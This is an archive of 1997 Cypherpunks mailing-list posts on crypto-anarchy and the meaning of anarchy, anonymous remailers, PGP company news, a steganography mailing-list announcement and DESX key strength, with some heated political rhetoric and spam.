supposedly strong system that has a proxy function for another strong
system, then essentially if mine gets broken the other does as well.  Or,
if I recover the key for one system, I can recover the original key from
another system.  The whole situation epitomises the old "A chain is only as
strong as its weakest link" adage.  From a security point of view, this
really doesn't encourage me to include the capability for proxy functions
in any system I should happen to make.  Am I missing something here?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Everybody just butt out!  I'm not in love with her!  I'm Die Fledermaus!
 The only person that I'm in love with is me and I'm out of here!" -Die
Fledermaus trying to explain his actions.






From m1tca00 at FRB.GOV  Wed May 14 12:46:43 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Thu, 15 May 1997 03:46:43 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <199705141907.PAA19087@bksmp2.FRB.GOV>



kent at songbird.com said:

> > The correlation between your definition of anarchy and war is obvious,
> > if you define anarchy as "A lack of government leading to lawlessness"
> > you are obviously going to see a correlation between this and
> > lawlessness!
>
> That's not *my* definition, it's *the* definition, as described in a
> standard, reputable dictionary.  I realize that you have your own private
> definition of the term, that you share with your friends and an esoteric
> community.  However, I am not a member of that community, so I use the
> standard meaning.

How pedantic.  Webster's New World Dictionary (also reputable, I might add),
has THIS to say about "Anarchy":

  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
  2. political disorder and violence 3. disorder; confusion

Note the etymology.  Taken to its roots, the word simply means "no leader".

It also says:

  anarchism n. [see anarchy] 1. the theory that all organized government is
  repressive and undesirable 2. resistance to all government

Note the COMPLETE lack of "chaos" or "disorder" in this definition.  Being 
an anarchist, therefore, does NOT imply that one supports chaos and 
disorder.

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From lucifer at dhp.com  Wed May 14 13:03:36 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 04:03:36 +0800
Subject: Kill a Fag, Go to Congress / Was--Re: Disinformation in L.A.
Message-ID: <199705141940.PAA05817@dhp.com>


Tom Allard wrote: 
> >   Didn't her boss's murderer walk on the charge by using the defence
> > that he ate too many Twinkies?
> >   No political intrigue here...
> 
> That was the defense, yes.  Dan White was a former cop and treated like a
> hero by fellow cops.  The prosecution never really challenged the Twinkie
> defense, nor did they bring up politics or homophobia as motives.  With a
> prosecution like that, who needs a defense?

  I remember that it was seen as being a message to the gay community
that they were getting too "uppity" for their own good.
  (I wonder how they got that idea? .)
  The government is a lot like the Mob--other politicians can't really
trust you until you've whacked somebody and they have it to hold over
your head so that you'll play along.

SwineMonger







From markm at voicenet.com  Wed May 14 13:05:46 1997
From: markm at voicenet.com (Mark M.)
Date: Thu, 15 May 1997 04:05:46 +0800
Subject: Anonymity and cowardice
In-Reply-To: <15302945318065@nac.net>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 14 May 1997, The Spectre wrote:

> The difference in all these cases (save mine) is that the people you listed
> would have been persecuted, if not prosecuted, for their actions.  Now
> people are hiding out of fear and paranoia of something that in most cases
> doesn't exist.  The people you mentioned never had to deal with this level
> of abuse, either.

Not everybody in the world has the luxury of not worrying about being
persecuted for what they write.  In other countries, free speech is
not a recognized right.  Also, many people express unpopular opinions
that might not cause persecution, but might mean losing a job or
worse.  It is also useful for "liberating" certain information.  In
another message, you said that ftp sites could be used for this same
purpose.  Most ftp sites keep logs, and any corporation or government
agency that has had secret information divulged is going to get the
logs from the server.

As for your comment about "fear and paranoia of something that in most
cases doesn't exist", how do you know it doesn't?  Only a few decades
ago, the U.S. government was conducting illegal, domestic surveillance
on communists, war protestors, civil rights activists, and other groups
the government didn't like.  What's preventing something like this
happening today?  Mailing list messages and news posts don't disappear.
Something you write today could be used against you years later.



Mark
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Charset: noconv

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From helpers at prep.future.com  Thu May 15 04:41:35 1997
From: helpers at prep.future.com (helpers at prep.future.com)
Date: Thu, 15 May 1997 04:41:35 -0700 (PDT)
Subject: HUGE NEW PROFITS FROM THE NET!
Message-ID: 



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From tcmay at got.net  Wed May 14 13:42:54 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 04:42:54 +0800
Subject: Pedantry, Toastmasters, Anarchy, and Crispin
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: 


At 11:07 AM -0800 5/14/97, Tom Allard wrote:

>How pedantic.  Webster's New World Dictionary (also reputable, I might add),
>has THIS to say about "Anarchy":
>
>  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>  2. political disorder and violence 3. disorder; confusion
>
>Note the etymology.  Taken to its roots, the word simply means "no leader".

Tom is exactly right. Citing dictionary definitions without proper
context--and the context of "anarchy" and "anarcho-capitalism" on this of
_all_ lists is quite important--is just plain pedantry. Dictionaries are
not encyclopedias, and rarely provide nuanced definitions. In this case,
the meaning of "anarchy" is of course overloaded with various connotations.

(I'm reminded, too, of hackneyed Toastmasters-type speeches which seem to
always begin with an obligatory Webster's quote. "Websters defines virtue
as ....")

The meaning of anarchy, and how it differs from chaos and random killings,
has been discussed many times. David Friedman's "The Machinery of Freedom"
is a good book to start with. Bruce Benson's "The Enterprise of Law" also
discusses how lawlessness is not at all a necessary part of "no rulers"
(Hint: international trade generally involves "no ruler," given that
neither the United Nations nor the World Court have much power over such
things, and yet international trade has worked for several centuries, and
arguably for millenia, with good success.)

>It also says:
>
>  anarchism n. [see anarchy] 1. the theory that all organized government is
>  repressive and undesirable 2. resistance to all government
>
>Note the COMPLETE lack of "chaos" or "disorder" in this definition.  Being
>an anarchist, therefore, does NOT imply that one supports chaos and
>disorder.

And it's important to note that _many_, even _most_, aspects of Western
society are essentially anarchic. The books we read, the restaurants we
patronize, the clothes we wear...while the range of choices is constrained
by what the market offers, and by social norms, etc., there are no "rulers"
(or "tops," or "arches," hence, 'an archy," as Tom notes the etymology
above).

To see why this is important, let us imagine somelike Diane Feinstein
calling for laws about what books may be read, "to put an end to the chaos,
lawlessness, and disorder in the bookreading community." (Actually, this is
exactly the sort of law Feinstein, Goodlatte, and all the rest are almost
constantly proposing...the only thing that stops some of these proposals
from progressing is the black letter law of "Congress shall make no
law...," and even then these bozos try to find workarounds and exceptions.
This is one reason I have absolutely no faith that legislation can secure
basic rights.)

As for Kent Crispin's remark that he chooses not to use the "esoteric"
definition of anarchy that the anarchist community, and economists
(actually), and others use, and prefers his "Toastmaster's Club" hoary
recitation of a simple dictionary definition, well, this is why I'm
becoming convinced that "Kent Crispin" is just a new identity David
Sternlight has adopted.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From blancw at cnw.com  Wed May 14 13:48:53 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 15 May 1997 04:48:53 +0800
Subject: I Treat All My Enemies Equally
Message-ID: <3.0.32.19970513230408.006c67b4@cnw.com>


There have been so many posts on which I could make remarks, and I haven't
enough time to prepare a really good treatment on the subject.   

The title of the subject line is from something LD once said to me as a
joke to rile me, something like, "I'm all for  Democracy - I treat all my
enemies equally." (he probably stole that line from someone).

Anyway, I was thinking about those who have expressed a lack of concern for
the unfortunate mixture of the guilty & innocent in a close encounter with
a destructive device.   I was thinking that people who  aren't careful
about such differences make of themselves an enemy to all, because who can
tell what they're supporting and whose lives they really value, since
anyone at all could become their victim.

In times of declared (or undeclared) wars, when it is governments which
conduct the battles, one of the things which make wars hell is that anyone
& everyone is potentially in harms way; everyone has to run for their
lives, you never from who/where you might get hit, whether from enemy or
from friendly fire.  There is so much confusion, propaganda, and lies about
who is in the right, who is in the wrong, whose fault it was/is and who are
the real heroes, that all of those in the middle seem like ping-pong balls
bouncing from side to side.  Nevertheless, whichever side they think they
are on or even if they don't give a flip, everyone has to to run, hide,
take cover.   Only when all supplies and manpower have been exhausted, does
the war end; in the meantime both sides have made many smoldering enemies,
which later some opportunists use as reason to attempt to sway the
remaining survivors into further alliances against the latest "enemy of the
people".    In truth, it becomes a difficult task to determine who is the
un-fairest of them all.   The fact of the matter is that those in the
middle must find a way to protect themselves from whatever weapon or
vehicle of destruction comes around, whatever its source.

Likewise, anyone who creates an atmosphere of uncertainty, where it makes
no difference whether one is a friend or a foe of any particular values or
ideals - one could end up dead regardless, just from being in the wrong
place at the wrong time - is making of themselves an enemy to all.  

Like that stolen phrase, I myself would have to "treat all my enemies
equally"; that is, anyone who would put me or anyone I valued, in danger.  

So, for instance, if Whitfield Diffie and PhilZ were walking into a Federal
building in OK City, and I saw some cypherpunk not too far away getting
ready to blow it up, well, I guess I'd have to kill him.   (Dirty Harry
saying:  "feel lucky today, cpunk?"). 


    ..
Blanc






From tcmay at got.net  Wed May 14 14:00:32 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 05:00:32 +0800
Subject: FW: Anonymous Remailers
In-Reply-To: <01BC6065.17582FB0@pc1901.ibpinc.com>
Message-ID: 



First off, Roger, you need to find better _quoting_ software for your
replies, or explicity add "begin quote" and "end quote" markers, as some
folks are forced to do. And/or set your word wrap to a standard 70-78
columns. I found it hard to tell my own comments from your added comments,
and this only because I was able to recognize my own words! No doubt others
simply gave up and pressed the "D" key on your reply.


At 9:48 AM -0800 5/14/97, Roger J. Jones wrote:
I suggest that just because you chose to characterize the sources as
"clueless Washington think tank authors" does not (as they say in Star Trek
- The Next Generation) "make it so".  The "allegation" that foreign
governments actively participate in actions to violate personal privacy
("borrowing" laptops from traveling businesspeople, taping phones, etc.)
are all documented in various places.  Of course, they could all the result
of a single psyop with excellent results.  But I doubt it.

You may surmise what you choose.  In fact, that is the essence of free
discourse.  Of course, knowing is far better than surmising.  If you care
to suggest a reading list please feel free to mail it to me direct.  And
yes, I am new to this most charming and entertaining list.  Thank you for
the welcome


(end of the quotes from Roger)

Your first point, using some kind of Star Trek lingo, is beyond comment. I
provided a lot more context than your original point provided, and yet you
seem to want even more documentation. Go back and read the archives for a
discussion of this paper (hint: search on "remailers" ANDed with "SAIC."
Pay particular attention to the critique of this paper by such folks as
Raph Levien, and others.

As for sending a reading list to you "direct," first send me a check for
$125.00 and I'll start working on it for you.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From sunder at brainlink.com  Wed May 14 14:26:01 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 15 May 1997 05:26:01 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


On Tue, 13 May 1997, Tim May wrote:

> (If "false advertising" were a true crime, most of the world's religions
> would surely be shut down.)

That would be a dream come true. 

> Look to contract law for your answer.

I'd rather spam them back... Gee, where's Vulis's bots when you need them 
:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From kent at songbird.com  Wed May 14 14:50:01 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 15 May 1997 05:50:01 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970514142758.42227@bywater.songbird.com>


On Wed, May 14, 1997 at 03:07:43PM -0400, Tom Allard wrote:
> kent at songbird.com said:
> 
> > > The correlation between your definition of anarchy and war is obvious,
> > > if you define anarchy as "A lack of government leading to lawlessness"
> > > you are obviously going to see a correlation between this and
> > > lawlessness!
> >
> > That's not *my* definition, it's *the* definition, as described in a
> > standard, reputable dictionary.  I realize that you have your own private
> > definition of the term, that you share with your friends and an esoteric
> > community.  However, I am not a member of that community, so I use the
> > standard meaning.
> 
> How pedantic.  Webster's New World Dictionary (also reputable, I might add),
> has THIS to say about "Anarchy":
> 
>   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>   2. political disorder and violence 3. disorder; confusion
> 
> Note the etymology.  Taken to its roots, the word simply means "no leader".

Note the second definition.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From frissell at panix.com  Wed May 14 14:56:19 1997
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 15 May 1997 05:56:19 +0800
Subject: The War is Underway
Message-ID: <3.0.1.32.19970514172138.00698a58@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

\At 10:44 AM 5/10/97 -0800, Tim May wrote:

>This is the "race to the fork in the road" I have long talked about. The
>future will be pulled between two attractors, with essentially no middle
>ground 

>At one side lies a surveillance state

>At the other side lies crypto anarchy

Except that their branch of the "fork" is illusory.  It depends on public
support and physical powers they lack.  

The reason that I'm a technoptimist is *not* because I think that modern
technology is an all-powerful mechanism which has shattered the control
capabilities of the coercive state apparatus.  The really beautiful thing is
that today's technology is merely piling onto a pre-existing trend which
favored individual choice.

Things were already trending towards markets and self government long before
crypto and the Internet hit the front pages.  Even mainframe computers
helped.  If you look at the graphs, you'll see that computers started forcing
institutional downsizing as early as the late '60s in the U.S. and Britain.  

Mechanical technology and the wealth it produced was sufficient to get things
going.  Since the Second World War, people have been getting wealthier and
hence more powerful.  First here in America and later spreading throughout
the worlds like a health-giving virus.

Remember, it's not just technology.  If I can move and trade in a very
efficient market, I have a lot more power than someone with my same level of
wealth in a primitive society with limited capabilities.

Cheap radios (the first micro technology product) and jet engines helped push
things along as much as anything.  The slow development of market
institutions which, today, give individuals the power to buy, sell, and lease
almost any good or service eventually reached a critical point as well.

Rich people are *much* harder to push around than poor people.  (If you push
them too much, they just leave.)  So factories produced wealth which produced
power which automatically increased individual choice.  You will note that
the 60's happened, for example.  As time went on, markets spread, tyranny
contracted and people became harder and harder to control (for good or ill). 


Pile crypto and the Net onto this trend, and you get an accelerated
beneficial movement towards enhanced personal choice.  Obviously, "the
generation that was born into bondage in Egypt cannot enter the Promised
Land."  They have to die off before the changes can become obvious to all. 
The Net can help in this by changing our cultural and social environment so
much that it allows us to, in the words of yet another Timothy, "Metaprogram
the human biocomputer."

I must say, however, that I find it hard to believe that other people can't
see the amazing progress that we've made in the last decade.  The utter
destruction of totalitarian communism, the transformation of Latin America
from 26 dictatorships and 1 democracy a few years ago to 26 (more or less)
democracies and 1 dictatorship today, the liberation of the Forex markets,
the ideological dominance of market liberalism, the Death of the PTT
communications monopolies, the deregulation of transportation, the lowering
of trade barriers, etc.

Note that last month, Mongolia became the first country since the dawn of the
nation state to abolish all tarrifs and quotas.  Now if you can just get to
it, you can trade freely.

The control capabilities of the government depend on the attitude of the
people.  If they support the government or are intimidated by it, they will
obey.  Today, support for most OECD governments is at historic lows. 
Cynicism about government policies is widespread.  And the simple ignoring of
rules and regs is "out of control."

DCF

"You don't have to be nice to nation states you meet on the way up if you're
not coming back down."








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From rcgraves at disposable.com  Wed May 14 15:03:26 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Thu, 15 May 1997 06:03:26 +0800
Subject: Rwanda and "anarchy"
Message-ID: <337A3314.1B990EE4@disposable.com>


Kent Crispin wrote:
> On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> > At 6:34 PM -0800 5/13/97, Kent Crispin wrote:
> > 
> > >First of all, it neglects to consider that governments may have
> > >prevented more murders than they caused. This is unknowable, since
> > >we don't have any worthwhile control cases. (I suppose we
> > >might examine a state of anarchic chaos (eg Rawanda) and compare the
> > >percentage of murders...but such cases are symptoms of other human
> > >ills, and cannot be used as a meaningful comparison, I believe.)
> > 
> > Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> > not any kind of anarchy such as any of us have ever advocated. Rather,
> > Rwanda was a near-textbook example of one tribal faction (Hutus or
> > Tutsis) coming to power and inititiating a pogrom against the rival
> > faction (Tutsis or Hutus).
> > 
> > Calling this an "anarchy" is comparable to calling the pogrom by the
> > Third Reich against Jews, gypsies, cripples, and others an example of
> > anarchy.
> 
> Nonsense.
> 
> "anarchy n. the absence of government or control, resulting in 
> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> 
> Which part of that would you say didn't apply to Rwanda? 

I would say "none." Tim is essentially correct. Ironically, we know he's
correct thanks to the United Nations and Judge Goldstein's International
Criminal Tribunal, which Tim would oppose. (The answer to bad government
is more government?)

Jean-Marie Higiro was Rwanda's Minister of Telecommunications. He saw
the radio turn into a tool of totalitarian propaganda. The killings were
encouraged and organized by the government. He was there.

Lindsey Hilsum was the only English-speaking reporter in Rwanda when the
killings started. She described the situation as "anarchy" because she
did not understand the language or the political situation. She later
retracted that story, and spent several more months in Rwanda and
Burundi
documenting what really happened. She eventually testified before the
ICT
on what she saw. I think she's a really cool person.

Raymond Bonner joined Lindsey in Rwanda later. You might recognize his
name -- he's the guy who was fired by the New York Times because the
Reagan Administration didn't like his reporting on human rights
violations
in El Salvador.

Gilles Peress is a French photojournalist who documented the genocide in
Rwanda both for himself and for the ICT.

I met these folks and browsed the relevant documentation, recordings,
and
photos on April 11th. I believe them when they say it was planned.

Blaming it on "evil government," though, is ludicrous. There was quite a
lot more going on.

If you want to look at anarchic chaos, try, maybe, Albania, or Los
Angeles
after the Rodney King verdict. But even in those cases, the violence had
specific targets for specific reasons. It wasn't unstructured anarchy,
and it didn't last long. For all the press, there were few deaths in
either case.

> In fact, the correlation between anarchy and war is very strong, for
> obvious reasons. Perhaps that is why most intelligent people don't
> consider anarchy a desirable state of affairs.

There is no such thing as anarchy, and there never will be.

-rich
 http://www.stanford.edu/~llurch/






From privsoft at ix.netcom.com  Wed May 14 15:04:04 1997
From: privsoft at ix.netcom.com (Steve)
Date: Thu, 15 May 1997 06:04:04 +0800
Subject: Problems at PGP?
Message-ID: <337A3548.2496@ix.netcom.com>


Hot Off The Press
http://www.news.com/News/Item/0,4,10660,00.html

Pretty Good Privacy CEO
                quits 
                By Dawn Yoshitake
                May 14, 1997, 11:30 a.m. PT 

                Security software firm Pretty Good Privacy
                announced today that its chief executive and
                president has resigned as the company mature from
                its start-up status.

                Thomas Steding, CEO, president, and a PGP
                founder, will now become a company adviser. The
                CEO position will be phased out, the company
                said.

                "This was a decision by the board and the executive
                staff. It seemed the right time," spokesman Mike
                Nelson said. "We're moving out of a start-up mode
                and into pursuit of the corporate marketplace. This
                was a minor adjustment to the staff."

                Nelson added that Steding will continue to advise
                the company on team-building and moving its
                operations quickly.

                Phillip Dunkelberger, former vice president of sales,
                will now become president and be responsible for
                the company's daily operations. Dunkelberger will
                also become a board member.

                Jonathan Seybold, a PGP founder, has been named
                chairman of the company.

                Nelson said the company is on target with its
                product development and sales and profitability
                targets, and will review where it stands financially
                and with its product lineup before setting a future
                course for an initial public offering.

                PGP, which has been in operation for a year, is
                scheduled to begin open beta testing for its Personal
                Privacy version 5.0 tomorrow. The commercial
                version is slated to be released later this month.

                Meanwhile, the crypto company has initiated a few
                acquisitions. One of its most recent was the March
                buyout of Zoomit, a directory technology that
                combines private intranets, pubic extranets, and the
                Internet.
-- 
A picture tells a thousand words.
		Stego


     -----BEGIN GEEK CODE BLOCK-----
     Version: 3.1
     GCS/IT/S d--() s+: a-- C++++(++)$ ULS+++@ P++@ L+(++)$ E- W+(+++)$
     N++$ !o K-? w++(+++)$ !O+>++ !M !V PS+(+++)@ PE(++)@ Y++$ PGP@ t+@
     5++@ X++>$ R+++>$ tv+@ b+@ DI+++>$ D+++@>$ G@ e++@>++++ h r* y+ 
     ------END GEEK CODE BLOCK------






From jya at pipeline.com  Wed May 14 15:13:38 1997
From: jya at pipeline.com (John Young)
Date: Thu, 15 May 1997 06:13:38 +0800
Subject: RSA v. PGP Complaint Correction
Message-ID: <1.5.4.32.19970514215503.00927358@pop.pipeline.com>


Due to a transmittal error the latter half of the RSA v. PGP
complaint was omitted from our offering this morning. 
The full complaint is now available at:

     http://jya.com/rsavpgp.txt  (21K)






From njohnson at gmu.edu  Thu May 15 06:16:18 1997
From: njohnson at gmu.edu (Neil Johnson)
Date: Thu, 15 May 1997 06:16:18 -0700 (PDT)
Subject: Steganography and this list
In-Reply-To: <1.5.4.32.19970514114154.008b60fc@pop.pipeline.com>
Message-ID: 


For those of you interested in Steganography,  there is a Steganography
mailing list.  I subscribed to cypherpunks to try to watch Steganography
discussions from another source.  Well, there is much discussion going on
some good and some not so good.  I will probably stay on this list for a
while longer for the 1 in 100 message on steganography and the 10 in 100
messages on cryptography issues.

The following is the instructions for the Steganography Mailing list;
subscribing and unsubscribing sent out by Markus Kuhn in 1995.  Thes
instructions may also be found at
http://patriot.net/~johnson/html/neil/sec/steglist.htm

Thank you
----



Newsgroups: sci.crypt.research
From:  Markus Kuhn
Subject: Announcement: Steganography Mailing List
Message-ID: 
Sender: mpj at netcom15.netcom.com
Organization: private site, Hamburg (Germany)
Date: Wed, 5 Jul 1995 21:59:59 GMT
Approved: crypt-request at cs.aukuni.ac.nz

Steganography Mailing List
--------------------------

Markus Kuhn -- 1995-07-03


Steganography is the art and science of communicating in a way which
hides the existence of the communication. In contrast to cryptography,
where the "enemy" is allowed to detect, intercept and modify messages
without being able to violate certain security premises guaranteed by
a cryptosystem, the goal of steganography is to hide messages inside
other "harmless" messages in a way that does not allow any "enemy" to
even detect that there is a second secret message present.
Steganography is in the (especially military) literature also referred
to as transmission security or short TRANSEC.

A good steganography system should fulfill the same requirements posed
by the "Kerckhoff principle" in cryptography. This means that the
security of the system has to be based on the assumption that the
"enemy" has full knowledge of the design and implementation details of
the steganographic system. The only missing information for the
"enemy" is a short easily exchangeable random number sequence, the
secret key, and without the secret key, the "enemy" should not have
the slightest chance of even becoming suspicious that on an observed
communication channel hidden communication might take place.

Steganography is closely related to the problem of "hidden channels"
in secure operating system design, a term which refers to all
communication paths that can not easily be restricted by access
control mechanisms (e.g. two processes that communicate by modulating
and measuring the CPU load). Steganography is also closely related to
spread spectrum radio transmission, a technique that allows to receive
radio signals that are over 100 times weaker than the atmospheric
background noise, as well as TEMPEST, techniques which analyze RF
transmissions of computer and communication equipment in order to get
access to secret information handled by these systems.

Most communication channels like telephone lines and radio broadcasts
transmit signals which are always accompanied by some kind of noise.
This noise can be replaced by a secret signal that has been
transformed into a form that is indistinguishable from noise without
knowledge of a secret key and this way, the secret signal can be
transmitted undetectable.

This basic design principle of steganographic systems, i.e. replacing
high entropy noise with a high entropy secret transmission, is quite
obvious. There have a number of simple software tools been published
for e.g. hiding files in the least significant bits of digital images
or for transforming PGP messages into files resembling pure random
byte sequences.

However really good steganography is much more difficult and usage of
most of the currently available steganographic tools might be quite
easily detected using sufficiently careful analysis of the transmitted
data. The noise on analog systems has a large number of properties
very characteristic to the channel and the equipment used in the
communication system. A good steganographic system has to observe the
channel, has to build a model of the type of noise which is present
and has then to adapt the parameters of its own encoding algorithms so
that the noise replacement fits the model parameters of the noise on
the channel as well as possible. Whether the steganographic system is
really secure depends on whether the "enemy" has a more sophisticated
model of the noise on the channel than the one used in the
steganographic system.

Common communication systems have a huge number of characteristics and
only a small fraction of what looks like noise can actually be
replaced by the statistically very clean noise of a cryptographic
ciphertext. Noise in communication systems is often created by
modulation, quantization and signal cross-over and is heavily
influenced by these mechanisms and in addition by all kinds of
filters, echo cancelation units, data format converters, etc. Many
steganographic systems have to work in noisy environments and
consequently require synchronization and forward error correction
mechanisms that also have to be undetectable as long as the secret key
is unknown.

It is my impression that the field of steganography has not yet been
examined in detail by the scientific community outside the military
world. Many of the above mentioned problems in the design of high
quality steganographic systems have not been addressed in the
literature and only very few attempts of practical solutions have been
published and analyzed so far.

In order to encourage discussion and cooperation in the field of
steganography, the STEGANO-L mailing list has been established. We
want to invite people with a good background in modern communication
systems, cryptography, digital signal processing, information theory,
mathematics, etc. to publish tools for steganographic systems, to
attack these and discuss weaknesses and possible improvements and to
collect statistic and signal processing software tools as well as
sample data that can be used for quality control of steganographic
systems.

In order to (un-)subscribe to STEGANO-L, send an e-mail message
"(UN)SUB stegano-l your-mail-address" to

  stegano-l-request at as-node.jena.thur.de

Messages to all STEGANO-L members have to be sent to the address

  stegano-l at as-node.jena.thur.de

The manager of the mailing list server is

  Lutz Donnerhacke Lutz.Donnerhacke at Jena.Thur.De

WWW: http://www.thur.de/ulf/stegano/


I am looking forward to meet you in interesting discussions there ...

Markus

-- 
Markus Kuhn, Computer Science student -- University of Erlangen,


----

Neil F. Johnson
  Home Page URL:      http://patriot.net/~johnson/neil
  FoxPro:             http://patriot.net/~johnson/Fox
  Security/Privacy:   http://patriot.net/~johnson/Security
  Steganography:      http://patriot.net/~johnson/Steganography
             or       http://patriot.net/~johnson/neil/stego
  Resources on:       FoxPro, Security and Privacy, and MUCH MORE. 
  






From staff at dataet.com  Wed May 14 15:42:15 1997
From: staff at dataet.com (DataET Research)
Date: Thu, 15 May 1997 06:42:15 +0800
Subject: Information request
Message-ID: <337A39D9.303F@dataet.com>


Hi,

If you are interested in having a high-quality, but extensively
inexpensive, Web site designed for you, your r�sum�, or your company,
visit http://www.dataet.com or contact info at dataet.com immediately, and
request for additional information and/or a free cost and time
estimation.

Thanks for your time. We hope to hear from you soon.

Regards,

DataET Research
Data Engineering Technologies

info at dataet.com
http://www.dataet.com






From jya at pipeline.com  Wed May 14 15:46:25 1997
From: jya at pipeline.com (John Young)
Date: Thu, 15 May 1997 06:46:25 +0800
Subject: DoJ on Bombmaking Info
Message-ID: <1.5.4.32.19970514221851.008f9594@pop.pipeline.com>


We offer:

   "Report on the Availability of Bombmaking Information,
   the Extent to Which Its Dissemination Is Controlled
   by Federal Law, and the Extent to Which Such
   Dissemination May Be Subject to Regulation Consistent
   with the First Amendment to the United States
   Constitution

   Prepared by the United States Department of Justice As
   Required by Section 709(a) of the Antiterrorism and 
   Effective Death Penalty Act of 1996.

   Submitted to the United States House of Representatives 
   and the United States Senate

   April 1997"

-----

     http://jya.com/abi.htm  (193K) 

This relates to the proposed "Feinstein Amendment" of the 
AEPDA. It covers in detail what kind of speech is permissable 
now and what language for the amendment should be to 
close gaps. A fine distinction is traced between "teaching"
the use of terrorist and mass destruction weapons and 
"advocating" them. Or something like that -- I am a jailhouse
laugher.






From daw at cs.berkeley.edu  Wed May 14 15:49:40 1997
From: daw at cs.berkeley.edu (David Wagner)
Date: Thu, 15 May 1997 06:49:40 +0800
Subject: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>
Message-ID: <5ldel6$1gv@joseph.cs.berkeley.edu>


In article <3.0.32.19970513223226.0074e2bc at netcom13.netcom.com>,
Lucky Green   wrote:
> Contrast this with DESX, which has been
> proven to be twice as hard as DES, therefore having an effective keylength
> of 112 bits.

Actually, that's not true.  Check out the Rogaway/Kilian paper.

It says that, if you've got 2^p known plaintexts, DESX has an effective
keylength of at least 118-p bits.  So, for instance, if you've got 2^32
known plaintexts, DESX only has an effective keylength of 86 bits.

In short, 3DES is (roughly speaking) stronger than DESX.






From kent at songbird.com  Wed May 14 15:59:01 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 15 May 1997 06:59:01 +0800
Subject: Pedantry, Toastmasters, Anarchy, and Crispin
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970514153622.03633@bywater.songbird.com>


On Wed, May 14, 1997 at 01:22:40PM -0800, Tim May wrote:
> At 11:07 AM -0800 5/14/97, Tom Allard wrote:
> 
> >How pedantic.  Webster's New World Dictionary (also reputable, I might add),
> >has THIS to say about "Anarchy":
> >
> >  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
> >  2. political disorder and violence 3. disorder; confusion
> >
> >Note the etymology.  Taken to its roots, the word simply means "no leader".
> 
> Tom is exactly right. Citing dictionary definitions without proper
> context--and the context of "anarchy" and "anarcho-capitalism" on this of
> _all_ lists is quite important--is just plain pedantry. 

And in the context of Rwanda the meaning is clear, as well.  I didn't 
start this pointless pedantic thread about the meaning of the word 
"anarchy", Tim -- you did.  I used the word in a perfectly 
meaningful, standard way in a context in which that meaning was 
completely appropriate.  Period.

[...]

> The meaning of anarchy, and how it differs from chaos and random killings,
> has been discussed many times. David Friedman's "The Machinery of Freedom"
> is a good book to start with.
> Bruce Benson's "The Enterprise of Law" also
> discusses how lawlessness is not at all a necessary part of "no rulers"
> (Hint: international trade generally involves "no ruler," given that
> neither the United Nations nor the World Court have much power over such
> things, and yet international trade has worked for several centuries, and
> arguably for millenia, with good success.)

I read the chapters of MoF from Friedman's web site.  I'm sure the 
rest of the book would be interesting, but it is really something for 
the faithful.  I'll keep an eye out for Benson's book, but I suspect 
it too will be something for the faithful.

Saying that anarchy is a pervasive part of real life is disingenuous, 
at best -- government is a pervasive part of real life as well.  You 
choose the books you read, the restaurants, etc, but these things all 
exist in a pervasive net of contracts enforced, ultimately, by the 
government. 

You rail about the actions of Feinstein, Goodlatte, etc, attacking your 
